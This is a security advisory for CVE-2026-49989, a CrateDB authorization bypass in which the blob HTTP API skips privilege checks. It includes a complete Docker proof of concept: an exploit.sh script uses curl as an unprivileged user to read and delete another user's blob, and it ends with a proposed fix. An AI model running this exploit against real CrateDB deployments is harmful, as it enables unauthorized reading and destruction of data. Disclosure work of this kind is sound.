PT-2026-55217 · Maven · Io.Crate:Crate

Publicado

2026-07-01

·

Atualizado

2026-07-01

·

CVE-2026-49989

CVSS v3.1

0.0

Nenhuma

VetorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
Component: io.crate.protocols.http.HttpBlobHandler Affected: verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced) Impact: any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of GRANTs.

Summary

CrateDB has two ways to access blob storage: SQL (SELECT ... FROM blob.<table> and friends) and the blob HTTP API (GET|PUT|DELETE / blobs/{table}/{digest}). The SQL path goes through AccessControl, which is what enforces privilege grants; that's why SELECT digest FROM blob.secret blobs fails for a user who has no grants on the table.
The HTTP path authenticates the request but never asks AccessControl whether the authenticated user is allowed to touch the table. So a user with no grants gets MissingPrivilegeException from SQL and 200 OK plus the blob bytes from GET / blobs/secret blobs/<digest>.

Where it lives

server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java. The dispatcher:
java
// HttpBlobHandler.java:176
private void handleBlobRequest(@Nullable HttpContent content) throws IOException {
  if (possibleRedirect(index, digest)) {
    return;
  }

  if (method.equals(HttpMethod.GET)) {
    get(index, digest);
    reset();
  } else if (method.equals(HttpMethod.HEAD)) {
    head(index, digest);
  } else if (method.equals(HttpMethod.PUT)) {
    put(content, index, digest);
  } else if (method.equals(HttpMethod.DELETE)) {
    delete(index, digest);
  } else {
    simpleResponse(HttpResponseStatus.METHOD NOT ALLOWED);
  }
}
No AccessControl reference, no privilege check. Each branch goes straight to the relevant blob op (get/head/put/delete); for example:
java
// HttpBlobHandler.java:287
private void get(String index, final String digest) throws IOException {
  if (range != null) {
    partialContentResponse(index, digest);
  } else {
    fullContentResponse(index, digest);
  }
}
grep -n 'AccessControl|ensureMaySee|checkPermission' HttpBlobHandler.java returns nothing.
The APIs that should be called here, used by the SQL path before every statement is dispatched:
  • server/src/main/java/io/crate/auth/AccessControl.java (interface, declares ensureMayExecute(...) and ensureMaySee(...))
  • server/src/main/java/io/crate/auth/AccessControlImpl.java:133 (concrete impl)

Threat model

Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. HEAD / blobs/<table>/<digest> is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes.
CapabilityNeeds digest?Impact
Read or delete a blobyesHigh when digests leak, nil otherwise
Plant new blobs (PUT)noStorage pollution; SHA-1 check blocks forging under a victim's digest
Digest secrecy is not a documented security boundary.

Reproduction

End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side.
./run.sh brings up a CrateDB container with HBA enabled, creates an admin (with ALL PRIVILEGES) and an unprivileged user (with no grants), uploads a blob as admin, then runs six steps:
  1. Admin uploads a blob via PUT / blobs/.... Success (201).
  2. Admin reads via SQL. Success.
  3. Unprivileged user reads via SQL. Denied (correct, this is what we want).
  4. Unprivileged user reads via GET / blobs/.... 200 OK plus the blob payload (the bug).
  5. Unprivileged user deletes via DELETE / blobs/.... 204 No Content (the bug, again).
  6. Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants.
Sample output from a real run:
=== Step 3: Unprivileged user CANNOT read via SQL (expected) ===
[PASS] Unprivileged user correctly denied SQL access
[INFO] Server response: ERROR: Schema 'blob' unknown ...

=== Step 4: BUG -- Unprivileged user CAN read blob via HTTP ===
[FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS
[INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin

=== Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE ===
[FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS

PoC files

docker-compose.yml
yaml
services:
 cratedb:
  image: crate:6.2.7
  ports:
   - "4200:4200"
   - "5432:5432"
  command: >
   crate
   -Cnetwork.host=0.0.0.0
   -Cdiscovery.type=single-node
   -Cauth.host based.enabled=true
   -Cauth.host based.config.0.user=crate
   -Cauth.host based.config.0.method=trust
   -Cauth.host based.config.99.method=password
   -Cblobs.path=/data/blobs
  environment:
   - CRATE HEAP SIZE=512m
  healthcheck:
   test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"]
   interval: 5s
   timeout: 5s
   retries: 12
HBA rule 0 trusts the built-in crate superuser so setup.sql can bootstrap users; rule 99 forces password auth for everyone else. network.host=0.0.0.0 overrides the default site bind, which fails when Docker's interfaces have no site-local address.
setup.sql
sql
-- Create the blob table
CREATE BLOB TABLE secret blobs;

-- Create admin user with full access
CREATE USER admin WITH (password = 'adminpass');
GRANT ALL PRIVILEGES ON TABLE blob.secret blobs TO admin;

-- Create unprivileged user with NO access to the blob table
CREATE USER unprivileged WITH (password = 'unpriv123');
-- Intentionally no GRANT for unprivileged user
exploit.sh
bash
#!/usr/bin/env bash
set -euo pipefail

CRATE HTTP="http://localhost:4200"
BLOB TABLE="secret blobs"
BLOB CONTENT="TOP SECRET: this data should only be accessible to admin"

RED='033[0;31m'
GREEN='033[0;32m'
YELLOW='033[1;33m'
CYAN='033[0;36m'
NC='033[0m'

header() { printf "
${CYAN}=== %s ===${NC}
" "$1"; }
pass()  { printf "${GREEN}[PASS]${NC} %s
" "$1"; }
fail()  { printf "${RED}[FAIL]${NC} %s
" "$1"; }
info()  { printf "${YELLOW}[INFO]${NC} %s
" "$1"; }

sql as() {
  local user="$1" pass="$2" query="$3"
  PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&1
}

# ---------------------------------------------------------------------------
header "Step 1: Upload a blob as admin via HTTP"
# ---------------------------------------------------------------------------
DIGEST=$(echo -n "$BLOB CONTENT" | sha1sum | awk '{print $1}')
info "Blob SHA1 digest: $DIGEST"

HTTP CODE=$(curl -s -o /dev/null -w "%{http code}" 
  -u admin:adminpass 
  -XPUT "${CRATE HTTP}/ blobs/${BLOB TABLE}/${DIGEST}" 
  -d "$BLOB CONTENT")

if [[ "$HTTP CODE" == "201" || "$HTTP CODE" == "409" ]]; then
  pass "Admin uploaded blob via HTTP (HTTP $HTTP CODE)"
else
  fail "Admin blob upload returned HTTP $HTTP CODE"
  exit 1
fi

# ---------------------------------------------------------------------------
header "Step 2: Admin CAN read blob metadata via SQL (expected)"
# ---------------------------------------------------------------------------
RESULT=$(sql as admin adminpass "SELECT digest FROM blob.secret blobs LIMIT 1")
if [[ -n "$RESULT" ]]; then
  pass "Admin can query blob.secret blobs via SQL: digest=$RESULT"
else
  fail "Admin SQL query returned no results"
fi

# ---------------------------------------------------------------------------
header "Step 3: Unprivileged user CANNOT read via SQL (expected)"
# ---------------------------------------------------------------------------
RESULT=$(sql as unprivileged unpriv123 "SELECT digest FROM blob.secret blobs LIMIT 1" || true)
if echo "$RESULT" | grep -qi "denied|permission|unauthorized|not authorized"; then
  pass "Unprivileged user correctly denied SQL access"
  info "Server response: $(echo "$RESULT" | head -1)"
else
  fail "Unprivileged user was NOT denied SQL access (unexpected): $RESULT"
fi

# ---------------------------------------------------------------------------
header "Step 4: BUG -- Unprivileged user CAN read blob via HTTP"
# ---------------------------------------------------------------------------
HTTP CODE=$(curl -s -o /tmp/blob out -w "%{http code}" 
  -u unprivileged:unpriv123 
  "${CRATE HTTP}/ blobs/${BLOB TABLE}/${DIGEST}")

BODY=$(cat /tmp/blob out)

if [[ "$HTTP CODE" == "200" ]]; then
  fail "Unprivileged user READ the blob via HTTP (HTTP $HTTP CODE) -- AUTHORIZATION BYPASS"
  info "Retrieved content: ${BODY}"
else
  pass "Unprivileged user was denied HTTP blob read (HTTP $HTTP CODE)"
fi

# ---------------------------------------------------------------------------
header "Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE"
# ---------------------------------------------------------------------------
HTTP CODE=$(curl -s -o /dev/null -w "%{http code}" 
  -u unprivileged:unpriv123 
  -XDELETE "${CRATE HTTP}/ blobs/${BLOB TABLE}/${DIGEST}")

if [[ "$HTTP CODE" == "204" || "$HTTP CODE" == "200" ]]; then
  fail "Unprivileged user DELETED the blob via HTTP (HTTP $HTTP CODE) -- AUTHORIZATION BYPASS"
else
  pass "Unprivileged user was denied HTTP blob delete (HTTP $HTTP CODE)"
fi

# ---------------------------------------------------------------------------
header "Step 6: Confirm blob is gone (admin perspective)"
# ---------------------------------------------------------------------------
RESULT=$(sql as admin adminpass "SELECT count(*) FROM blob.secret blobs WHERE digest = '$DIGEST'")
if [[ "$RESULT" == "0" ]]; then
  fail "Blob confirmed deleted -- unprivileged user destroyed admin's data"
else
  info "Blob still exists (count=$RESULT)"
fi
run.sh
bash
#!/usr/bin/env bash
set -euo pipefail
cd "$(dirname "$0")"

RED='033[0;31m'
GREEN='033[0;32m'
YELLOW='033[1;33m'
NC='033[0m'

info() { printf "${YELLOW}[INFO]${NC} %s
" "$1"; }

# Pick whichever Compose CLI is available (docker compose v2 vs legacy
# docker-compose binary). Both are common in the wild.
if docker compose version >/dev/null 2>&1; then
  DC=(docker compose)
elif command -v docker-compose >/dev/null 2>&1; then
  DC=(docker-compose)
else
  echo "ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed." >&2
  exit 2
fi

cleanup() {
  info "Stopping containers..."
  "${DC[@]}" down -v 2>/dev/null || true
}
trap cleanup EXIT

info "Starting CrateDB with authentication enabled..."
"${DC[@]}" up -d

info "Waiting for CrateDB to become healthy..."
for i in $(seq 1 60); do
  if curl -sf http://localhost:4200/ > /dev/null 2>&1; then
    break
  fi
  sleep 1
done

# Verify CrateDB is actually ready for SQL connections
for i in $(seq 1 30); do
  if PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -c "SELECT 1" > /dev/null 2>&1; then
    break
  fi
  sleep 1
done

info "Running setup SQL as superuser (crate)..."
PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -f setup.sql

# Give CrateDB a moment to propagate user/privilege changes
sleep 2

info "Running exploit..."
echo ""
bash exploit.sh

Fixing

Plumb AccessControl into HttpBlobHandler. Before dispatching the verb at handleBlobRequest:181, resolve the connecting role from the channel attribute the auth filter already sets, build an AccessControlImpl, and call ensureHasPrivilege(...) for the verb. Failures produce MissingPrivilegeException, which the existing exception-to-HTTP mapping turns into 403 Forbidden. SQL and HTTP then share one authorization decision.
HTTP verbSQL equivalentRequired privilege on blob.<table>
GET / HEADSELECTDQL
PUTINSERT / UPDATEDML
DELETEDELETEDML
Alternatives I'd avoid: pushing checks down into BlobService (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates).

Notes

Deployments that don't use BLOB TABLE are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.

Correção

Incorrect Authorization

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-49989
GHSA-2XV8-GJWH-FV8P

Produtos afetados

Io.Crate:Crate